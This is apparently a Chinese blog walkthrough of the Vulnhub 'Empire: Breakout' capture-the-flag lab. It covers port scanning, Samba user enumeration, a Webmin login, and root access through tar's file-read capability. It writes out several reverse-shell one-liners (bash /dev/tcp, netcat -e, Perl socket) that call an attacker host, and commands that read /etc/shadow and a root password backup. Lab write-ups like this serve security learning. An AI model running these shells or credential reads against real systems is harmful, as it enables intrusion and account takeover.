简介
- 名称:Vulnhub-Empire: Breakout
- 发布日期:2021 年 10 月 21 日
- 难度:容易
- 描述:这个盒子被创建为一个简单盒子,但如果你迷路了,它可以是中等的。
- 下载地址:https://www.vulnhub.com/entry/empire-breakout,751/
- kali攻击机ip:192.168.1.4
- 靶机地址:192.168.1.33
渗透流程
信息收集
arp-scan
IP:192.168.88.33
nmap
- 80/tcp - 开放的HTTP 此端口用于未加密的网页传输。当网站或网络服务器监听此端口时,它可以使用超文本传输协议(HTTP)提供网页。此端口在Web服务器上开放很常见。
- 139/tcp - 开放的NetBIOS会话服务 端口139通常被微软Windows网络用于文件和打印机共享。此端口还用于其他目的,如浏览网络和远程管理。
- 445/tcp - 开放的Microsoft-DS 这是另一个与Windows环境中文件和打印机共享相关的端口。Microsoft-DS服务提供了对服务器消息块(SMB)协议的访问,该协议用于共享文件、打印机和其他资源。
- 10000/tcp - 开放的Snet传感器管理 此端口可能被特定软件或硬件系统用于传感器管理。例如,它可能被工业控制系统或安全系统用来远程管理传感器。
- 20000/tcp - 开放的DNP 代表分布式网络协议,主要在工业自动化和控制系统中使用。DNP允许设备在网络中通信,实现数据采集和控制操作。
网页信息
80端口
192.168.1.33:80
F12查看源码发现提示
猜测是brainfuck加密
brainfuck解密过后是:.2uqPEfj3D<P'a-3
10000端口
192.168.1.33:10000
20000端口
192.168.1.33:20000
139/445端口
端口渗透剖析
139端口是为‘NetBIOS SessionService’提供的,主要用于提供windows文件和打印机共享以及UNIX中的Samba服务。445端口也用于提供windows文件和打印机共享,在内网环境中使用的很广泛。这两个端口同样属于重点攻击对象,139/445端口曾出现过许多严重级别的漏洞。下面剖析渗透此类端口的基本思路。
(1)对于开放139/445端口的主机,一般尝试利用溢出漏洞对远程主机进行溢出攻击,成功后直接获得系统权限。利用msf的ms-017永恒之蓝。(https://blog.csdn.net/qq_41880069/article/details/82908131)
(2)对于攻击只开放445端口的主机,黑客一般使用工具‘MS06040’或‘MS08067’.可使用专用的445端口扫描器进行扫描。NS08067溢出工具对windows2003系统的溢出十分有效,工具基本使用参数在cmd下会有提示。(https://blog.csdn.net/god_7z1/article/details/6773652)
(3)对于开放139/445端口的主机,黑客一般使用IPC$进行渗透。在没有使用特点的账户和密码进行空连接时,权限是最小的。获得系统特定账户和密码成为提升权限的关键了,比如获得administrator账户的口令。(https://blog.warhut.cn/dmbj/145.html)
(4)对于开放139/445端口的主机,可利用共享获取敏感信息,这也是内网渗透中收集信息的基本途径。
目标服务器装了Samba,因此尝试用Enum4linux
工具枚举获得用户名
enum4linux介绍
这是github上的一个工具,下载地址点此进入,安装这里就不多讲了,因为kali系统上会预安装这个工具,我们直接使用kali上的就行
-U 获取用户列表
-M 获取机器列表
-S 获取共享列表
-P 获取密码策略信息
-G 获取组和成员列表
-d 详述,适用于-U和-S
-u user 用户指定要使用的用户名(默认为空)
-p 指定要使用的密码(默认为空)
接着是一些官方附加的选项命令,如下
选项 功能
-a 做所有简单枚举(-U -S -G -P -r -o -n -i),如果您没有提供任何其他选项,则启用此选项
-h 显示此帮助消息并退出
-r 通过RID循环枚举用户
-R RID范围要枚举(默认值:500-550,1000-1050,隐含-r)
-K 指定不对应次数n。继续搜索RID,直到n个连续的RID与用户名不对应,Impies RID范围结束于999999.对DC有用
-l 通过LDAP 389 / TCP获取一些(有限的)信息(仅适用于DN)
-s 文件暴力猜测共享名称
-k user 远程系统上存在的用户(默认值:administrator,guest,krbtgt,domain admins,root,bin,none)
-o 获取操作系统信息
-i 获取打印机信息
-w 手动指定工作组(通常自动找到)
-n 做一个nmblookup(类似于nbtstat)
-v 详细输出,显示正在运行的完整命令(net,rpcclient等)
enum4linux -a 192.168.164.192
枚举得到用户名:cyber
,然后使用这个用户名和之前得到的密码尝试登录Webmin,发现可以登进20000端口的网站
反弹shell
发现在左下角可以运行shell,查看id。在这里可以反弹一个交互式shell到攻击机上。
第一个flag——3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
bash命令反弹shell——命令转到kali执行
攻击机开启本地监听:
netcat -lvvp 2333
目标机主动连接攻击机:
方法一:bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
方法二:bash -c "bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
方法三:netcat 47.xxx.xxx.72 2333 -e /bin/bash
# nc <攻击机IP> <攻击机监听的端口> -e /bin/bash
# bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
我使用了netcat的反弹shell,想要升级会话——python -c 'import pty;pty.spawn("/bin/bash")'
但是靶机没有安装python模块
解决方法:
1.使用Bash直接创建一个伪终端
可以使用
bash
自身的功能来创建一个伪终端。这种方法不需要Python或任何额外的模块。以下是一个示例命令:bash -i >& /dev/tcp/your.attacker.ip/your.port 0>&1
但是,这个命令通常只能提供一个基本的shell,不包含所有交互式特性。要得到一个更完整的交互式会话,你可以尝试以下命令:
bash -i < /dev/tty > /dev/tty 2>&1 & disown
这将读取和写入标准输入/输出到
/dev/tty
,从而提供更多的终端功能。然而,这种方法仍然可能缺乏一些更高级的功能,如复制粘贴和命令历史。2.使用Perl或Bash创建一个更复杂的shell
如果你的目标系统有Perl,可以使用以下命令创建一个伪终端:
perl -e 'use Socket;$i="your.attacker.ip";$p=your.port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
这将使用Perl建立一个与攻击者IP和端口的连接,并执行一个交互式的
sh
会话。如果没有Perl,你也可以尝试使用
bash
的exec
命令结合nc
(netcat)或ncat
(nmap的一部分)来创建一个更强大的shell:/bin/bash -c '/bin/bash -i >& /dev/tcp/your.attacker.ip/your.port 0>&1'
或者,如果你有
ncat
,可以使用以下命令:/bin/bash -c '/bin/bash -i | nc -e /bin/bash your.attacker.ip your.port'
3.使用其他工具
如果目标机器上有
zsh
或ksh
等其他shell,你可以尝试使用它们提供的类似功能。4.安装必要的软件
最后,如果可能的话,你可以在目标机器上安装所需的软件包(如
tmux
、screen
或Python)。这可能需要管理员权限,但将提供最完整的解决方案。
我选择改为bash的模式——无需升级会话
bash -i >& /dev/tcp/192.168.xx.xx/your port 0>&1
权限提升
ls发现当前目录有一个tar和user.txt文件(存放flag),那么肯定要从tar文件入手。那要如何分析一个不知名文件呢?
下面列举了一些常用的命令及其用途:
ls (list)
列出目录中的文件和子目录。
使用示例:
ls -l # 以长格式显示文件和目录信息 ls -a # 显示包括隐藏文件(以点开始的文件)在内的所有文件和目录
pwd (print working directory)
- 显示当前工作目录的完整路径。
cd (change directory)
改变当前工作目录。
使用示例:
cd /path/to/directory # 进入指定目录 cd .. # 返回上级目录 cd ~ # 回到用户的家目录
cat, less, more
查看文件内容。
使用示例:
cat filename # 显示整个文件的内容 less filename # 分页显示文件内容,支持上下翻页 more filename # 类似于less,但功能较少
head, tail
分别查看文件的前几行或后几行。
使用示例:
head -n 10 filename # 查看文件的前10行 tail -n 10 filename # 查看文件的最后10行
stat
显示文件或文件系统的详细状态信息,如文件大小、权限、拥有者、组、修改时间等。
使用示例:
stat filename
du (disk usage)
报告每个文件和目录占用的磁盘空间。
使用示例:
du -sh filename # 以人类可读的格式显示单个文件的大小 du -sh * # 显示当前目录下所有文件的大小总和
lsattr
显示文件的扩展属性。
使用示例:
lsattr filename
file
确定文件的类型。
使用示例:
file filename
getcap
是一个用于查询 Linux 系统中进程或文件所具有的 capabilities(权限位)的命令行工具。capabilities 是 Linux 内核的一种安全机制,它允许以更细粒度的方式控制进程的权限,而不仅仅是传统的 root/suid 权限。
使用示例:
getcap filename # 查找符合特定模式的文件
find
在目录树中查找文件。
使用示例:
find /path -name "pattern" # 查找符合特定模式的文件
这些命令可以帮助你更好地管理和理解Linux系统中的文件和目录结构。如果你需要更详细的帮助,可以在命令后面加上
--help
或查阅该命令的手册页 (man 命令名
)。
getcap命令执行后发现返回——tar cap_dac_read_search=ep
cap_dac_read_search=ep
是 Linux capabilities(权限位)中的一种,当这个 capability 被赋予给某个可执行文件(如tar
命令)时,它允许该程序绕过默认的访问控制限制,即使对于那些通常不允许读取或搜索的文件和目录也能够访问。
cap_dac_read_search=ep
包含以下几个部分:
cap_dac_read_search
:这是一个 capability 名称,表示“数据访问控制(DAC)读取和搜索”。它允许程序读取和搜索文件及目录,无视 DAC 设置。e
:表示 “effective”,意味着当进程运行时,这个 capability 是有效的并正在使用。p
:表示 “permitted”,意味着进程具有这个 capability 的权限,可以将其变为有效状态。当你看到
tar cap_dac_read_search=ep
这样的表述,它意味着tar
命令已经被赋予了cap_dac_read_search
的 capability,并且这个 capability 当前是有效的和允许的。这种 capability 可以用于一些特殊的场景,比如在受限的环境中,
tar
可以用来提取或打包那些普通用户没有权限访问的文件。例如,如果
tar
拥有cap_dac_read_search=ep
,则可以使用如下命令来打包/etc/shadow
文件,即使当前用户没有权限读取这个文件:tar czf shadow.tar.gz /etc/shadow
由于
tar
具有cap_dac_read_search
,所以它能够读取/etc/shadow
并将其打包到.tar.gz
文件中,而不会受到常规权限的限制。然后,可以将这个文件传输到其他地方进行分析。
后来发现在/var/backups/目录下有一个.old_pass.bak文件,但没有读取权限,刚好可以用tar读取
该bak文件存放的是root密码
cd #返回根目录
./tar -cvf pass.tar /var/backups/.old_pass.bak #创建pass.tar,将old源文件复制进去
tar -xvf pass.tar #执行pass.tar
cat var/backups/.old_pass.bak #现在可读取
获得root密码:Ts&4&YurgtRX(=~h
登录root
3mp!r3{You_Manage_To_Break_To_My_Secure_Access}
两个flag已找到
总结
标签:文件,tar,端口,Breakout,Vulnhub,使用,Empire,权限,bash From: https://www.cnblogs.com/yanke-wolf/p/18307192这次的靶机收获如下:
1.找登录网页的账号和密码,账号的寻找结合了ctf的misc知识,密码的寻找要从139/445端口入手,寻找合适的工具收集信息
2.权限提升这一块了解了未知文件要用什么命令分析,以及可执行文件对普通文件权限提升的流程